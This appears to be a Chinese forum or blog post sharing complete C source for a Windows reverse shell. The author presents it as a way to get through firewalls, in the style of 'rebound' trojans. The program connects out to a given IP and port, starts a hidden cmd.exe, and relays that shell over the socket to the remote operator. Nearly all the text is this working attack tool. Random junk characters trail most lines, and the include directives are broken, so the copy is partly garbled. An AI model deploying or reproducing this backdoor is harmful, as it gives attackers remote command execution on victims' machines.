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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e-$ U .cx  
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/* ============================== : K%{?y  
Rebound port in Windows NT ]1A"l!yf  
By wind,2006/7 O>zPWVwa  
===============================*/ W$&kOdD!$  
#include Au+SCj  
#include g[VVxp!C<  
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#pragma comment(lib,"wsock32.lib") E0K'|*  
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void OutputShell(); 4@,d{qp~  
SOCKET sClient; Y{].%xM5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {`Ekv/XWa  
yY,O=yOjq  
void main(int argc,char **argv) ("2ukHc  
{ l,FK\  
WSADATA stWsaData; dXAKk[uf  
int nRet; Kjbz\~  
SOCKADDR_IN stSaiClient,stSaiServer; y`"~zq0D  
~7Ji+AJA  
if(argc != 3) :D-xa!7  
{ T*,kBJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); */=5m]  
return; a );>  
} ?klV;+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); n^8LF9r  
t;P%&:"@M  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DNsDEU  
4"$K66yk@  
stSaiClient.sin_family = AF_INET; >KjyxJ7  
stSaiClient.sin_port = htons(0); #UR4I2t*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C -@  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _pu G?p  
{ = > .EDL.  
printf("Bind Socket Failed!\n"); a6K1-SR^6)  
return; "=l<%em  
} P;%4Imq3  
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stSaiServer.sin_family = AF_INET; liEb(<$a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9N(<OY+Dgm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dq/ _#&S  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <VP@#  
{ SK2nxZOH  
printf("Connect Error!"); TNs0^h)  
return; [@Hv,  
} {^TVZdw  
OutputShell(); Pb0+ z=L  
} *ey<R  
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void OutputShell() 5#~ARk*?a  
{ SB#YV   
char szBuff[1024]; 0- GA,I_  
SECURITY_ATTRIBUTES stSecurityAttributes; PV?XpT  
OSVERSIONINFO stOsversionInfo; {I s?>m4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v:s.V>{"S  
STARTUPINFO stStartupInfo; QcyYTg4i  
char *szShell; xk}(u`:.  
PROCESS_INFORMATION stProcessInformation; S>~QuCMY  
unsigned long lBytesRead; /yHM =&Vg]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qzv$E;zAl  
g%z?O[CN  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r>+Hwj0>  
stSecurityAttributes.lpSecurityDescriptor = 0; O=os ,'"  
stSecurityAttributes.bInheritHandle = TRUE; vF, !8e'v  
?#@JH  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0mB]*<x8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^H'zS3S  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hw`+,_ g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6x\+j  
stStartupInfo.wShowWindow = SW_HIDE; jd;=5(2  
stStartupInfo.hStdInput = hReadPipe; F^ kH"u[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1gp3A  
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GetVersionEx(&stOsversionInfo); ${n=1-SMU  
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switch(stOsversionInfo.dwPlatformId) [3`T/Wm  
{ {Y{*(5YV  
case 1: k[oU}~*U+  
szShell = "command.com"; b&uo^G,  
break; <Sn5ME<*  
default: azMrY<  
szShell = "cmd.exe"; }G$rr.G  
break; zGFo -C  
} }a@ZFk_>  
[V`j@dV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2Up1 FFRx  
;$W/le"Xr  
send(sClient,szMsg,77,0); +O23@G?x  
while(1) '>(R'g42n  
{ fRo_rj _  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V.;,1%  
if(lBytesRead) )L#C1DP#  
{ {t: ZMUV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C)> ])'S  
send(sClient,szBuff,lBytesRead,0); gBRhO^Sz  
} )f4D2c&VE  
else 2BOe,giy  
{ F,#)8>O  
lBytesRead=recv(sClient,szBuff,1024,0); Yo:l@(  
if(lBytesRead<=0) break; zECdj'/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BsVUEF,N  
} rkA0v-N6v  
} d>:(>@wz  
nf!RB-orF  
return; Y >-|`2Z  
}
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